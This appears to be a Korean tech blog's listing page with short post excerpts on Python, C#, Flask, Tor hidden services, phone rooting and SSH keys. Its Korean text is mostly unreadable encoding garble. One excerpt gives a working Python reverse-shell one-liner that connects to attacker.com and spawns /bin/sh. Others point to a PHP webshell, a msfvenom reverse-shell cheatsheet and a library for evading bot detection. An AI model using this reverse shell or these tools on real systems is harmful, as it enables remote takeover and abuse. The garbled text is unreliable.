728x90 ์ ์ฒด ๊ธ720 ํ์ด์ฌ - ํ์ฉ๋ ๋ฌธ์, ์ฌ์ฉ ๊ฐ๋ฅํ ๋น๋ฐ๋ฒํธ ๋ฌธ์๋ค์ธ์ง ๊ฒ์ฆํ๊ธฐ (re) ์๋ฌธ, ์ซ์, ํน์ ๋ฌธ์๋ค๋ก ๊ตฌ์ฑ๋ ๋น๋ฐ๋ฒํธ์ธ์ง ํ์ธํ๊ธฐ import re password = raw_input("Enter string to test: ") if re.fullmatch(r'[A-Za-z0-9!@#$%^&+=]{8,}', password): # match else: # no match ์ถ์ฒ: https://stackoverflow.com/questions/2990654/how-to-test-a-regex-password-in-python How to test a regex password in Python? Using a regex in Python, how can I verify that a user's password is: At least 8 characters Must be re.. 2023. 2. 3. Flask - ํ์ด์ฌ flask ๊ฐ๋จํ ์บก์ฑ ์์ (flask-simple-captcha) ๋ชจ๋ ์ค์น pip install flask-simple-captcha simple_captcha_example.py from flask import Flask, render_template, request from flask_simple_captcha import CAPTCHA config = { 'SECRET_CAPTCHA_KEY': '1111111111111111111111111', 'METHOD': 'pbkdf2:sha256:100', 'CAPTCHA_LENGTH': 5, 'CAPTCHA_DIGITS': False } @app.route('/example', methods=['GET','POST']) def example(): if request.method == 'GET': captcha = CA.. 2023. 2. 2. ์น ๋ณด์ - PHP ๊ฐ๋จํ ์น์(easy-simple-php-webshell.php) "> ์ถ์ฒ: https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985 easy-simple-php-webshell.phpGitHub Gist: instantly share code, notes, and snippets.gist.github.com 2023. 2. 2. ๋คํฌ๋ท - Tor๋ก ๋คํฌ์น ์๋ฒ ํธ์คํ ํ๊ธฐ tor ์ค์น apt-get update apt-get install tor /etc/tor/torrc ํ์ผ ์์ sudo vim /etc/tor/torrc ############### This section is just for location-hidden services ### ## Once you have configured a hidden service, you can look at the ## contents of the file ".../hidden_service/hostname" for the address ## to tell people. ## ## HiddenServicePort x y:z says to redirect requests on port x to the ## address y:.. 2023. 2. 2. C# - ์ค์ ๊ฐ ๋ฐฐ์ด(array) ํํ๋ก ์ ์ฅํ๊ณ ๋ถ๋ฌ์ค๊ธฐ ์ ์ฅํ๊ธฐ string value = String.Join(",", intArray.Select(i => i.ToString()).ToArray()); Properties.Settings.Default.option_array = value; Properties.Settings.Default.Save(); ๋ถ๋ฌ์ค๊ธฐ int[] arr = Properties.Settings.Default.option_array.Split(',').Select(s => Int32.Parse(s)).ToArray(); ์ถ์ฒ: https://stackoverflow.com/questions/1766610/how-to-store-int-array-in-application-settings How to store int[] array .. 2023. 2. 1. C# - dataGridView1 ์ ๊ฐ ์์ ํ๊ธฐ dataGridView1[1,1].Value="tes"; ์ถ์ฒ: https://stackoverflow.com/questions/1516252/how-to-programmatically-set-cell-value-in-datagridview How to programmatically set cell value in DataGridView? I have a DataGridView. Some of the cells receive their data from a serial port: I want to shove the data into the cell, and have it update the underlying bound object. I'm trying something like th... stackov.. 2023. 2. 1. ์ ๋ ๋์ - ํ์ด์ฌ ๋ด ๊ฐ์ง ์ฐํ ๋ผ์ด๋ธ๋ฌ๋ฆฌ(undetected-chromdriver) pypi https://pypi.org/project/undetected-chromedriver/ undetected-chromedriver ('Selenium.webdriver.Chrome replacement with compatiblity for Brave, and other Chromium based browsers.', 'Not triggered by CloudFlare/Imperva/hCaptcha and such.', 'NOTE: results may vary due to many factors. No guarantees are given, except for ongoing eff pypi.org ์ค์น pip install undetected-chromedriver ์ฌ์ฉ ์์ import u.. 2023. 1. 29. ๋ฆฌ๋ ์ค - ์นผ๋ฆฌ ๋ฆฌ๋ ์ค ๋ฐ์คํฌํ ํ๊ฒฝ ์ ํ(Switching Desktop Environments) https://www.kali.org/docs/general-use/switching-desktop-environments/ Switching Desktop Environments | Kali Linux Documentation During install a user may select whichever desktop environment that they prefer. However, when using the official VM this is not a possibility. In these cases, and many others, a user may wish to change their desktop environment. To get started we will fir www.kali.org .. 2023. 1. 27. ๋ชจ๋ฐ์ผ ๋ณด์ - ์ค๋งํธํฐ ๋ฃจํ ๋ฃจํ ์ ํ์ํ ๋๊ตฌ์ ํ์ผ๋ค ๋ค์ด๋ก๋ https://autoroot.chainfire.eu/ CF-Auto-Root autoroot.chainfire.eu ๋ฃจํ ๋ฐฉ๋ฒ https://liz09045.tistory.com/128 ์๋๋ก์ด๋ ๋ฃจํ ๋ฐฉ๋ฒ(Galaxy A8/SM-A880S) [ํธ๋ํฐ ์ค์ ] ์๋๋ก์ด๋ ํฐ์์ [์ค์ ] -> [ํด๋์ ํ ์ ๋ณด] -> [์ํํธ์จ์ด์ ๋ณด] ์ ๋ค์ด๊ฐ [๋น๋๋ฒํธ]๋ฅผ 7๋ฒ ์ ๋ ์ฐ์์ผ๋ก ๋๋ฌ์ค ๋ค, ๋ค์ [์ค์ ]์ผ๋ก ๊ฐ๋ฉด ๋งจ ์๋์ [๊ฐ๋ฐ์ ๋ชจ๋]๊ฐ ์ผ์ง๋ค. liz09045.tistory.com 2023. 1. 26. ์์คํ ๋ณด์ - ํ์ด์ฌ ๋ฆฌ๋ฒ์ค ์ ์คํฌ๋ฆฝํธ export RHOST=attacker.com export RPORT=12345 python -c 'import sys,socket,os,pty;s=socket.socket() s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn("/bin/sh")' ๋๋ถ๋ถ์ ์ ๋์ค ๊ณ์ด์ OS(๋ฆฌ๋ ์ค, ๋งฅos)์๋ python2๋ ์ค์น๊ฐ ๋์ด์๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ผ๋ ๋ณ๋์ ์ค์น ์์ด ๋ช ๋ น์ด๋ง์ผ๋ก ์ฌ์ฉ ๊ฐ๋ฅํ๋ค. ์ถ์ฒ: https://gtfobins.github.io/gtfobins/python/#reverse-shell python | GTFOBins Run socat file:`tt.. 2023. 1. 25. ์์คํ ๋ณด์ - ๋ฉํ์คํ๋ก์ msfvenom ๋ฆฌ๋ฒ์ค ์ ์ ์ ๋ช ๋ น์ด ์ถ์ฒ: https://infinitelogins.com/2020/01/25/msfvenom-reverse-shell-payload-cheatsheet/ MSFVenom Reverse Shell Payload Cheatsheet (with & without Meterpreter) Encrypt and Anonymize Your Internet Connection for as Little as $3/mo with PIA VPN. Learn More There are tons of cheatsheets out there, but I couldn’t find a comprehensive one that includes n… infinitelogins.com ์๋์ฐ msfvenom -p windows/meterp.. 2023. 1. 24. ๋ฆฌ๋ ์ค - ssh ํค ํ์ผ๋ก ๋น๋ฐ๋ฒํธ ์์ด ์ ์ํ๊ธฐ(ssh-keygen) 1. ์ฐ์ ํด๋ผ์ด์ธํธ ์ธก์ด ์๋์ ๋ช ๋ น์ด๋ก ํค ์(๊ฐ์ธํค, ๊ณต์ฉํค)์ ์์ฑ์ํจ๋ค. RSA ํ์(type)์ผ๋ก ํค ์์ ์์ฑ ํ๋ ๋ช ๋ น์ด ssh-keygen -t rsa ์์ฑํด์ฃผ๊ฒ ๋๋ฉด ~/.ssh ํด๋์ id_rsa, id_rsa.pub์ด ์์ฑ์ด ๋๊ณ ๊ฐ๊ฐ ๊ฐ์ธํค, ๊ณต์ฉํค์ด๋ค. (* ๊ฐ์ธํค๋ ์ ๋ ์ ์ถ x) ~/.ssh/ โโ id_rsa โโ id_rsa.pub 2. id_rsa.pub(๊ณต์ฉํค)์ ๋ด์ฉ์ ์๋ฒ ์ธก์ ~/.ssh/authorized_keys ํ์ผ์๋ค ์ ์ด์ค๋ค. vim ~/.ssh/authorized_keys 3. ํด๋ผ์ด์ธํธ(์ ์์)๋ ~/.ssh/ ๊ฒฝ๋ก์๋ค id_rsa๋ฅผ ๋ฃ๋๊ฐ ๋ช ๋ น์ด(with -i ์ต์ )๋ฅผ ํตํด์ ์๋ฒ์๊ฒ ์ ์ ssh -i id_rsa ์ฌ์ฉ์_์์ด๋@์๋ฒ_์์ดํผ or ~.. 2023. 1. 23. ์ด์ 1 ยทยทยท 23 24 25 26 27 28 29 ยทยทยท 60 ๋ค์ 728x90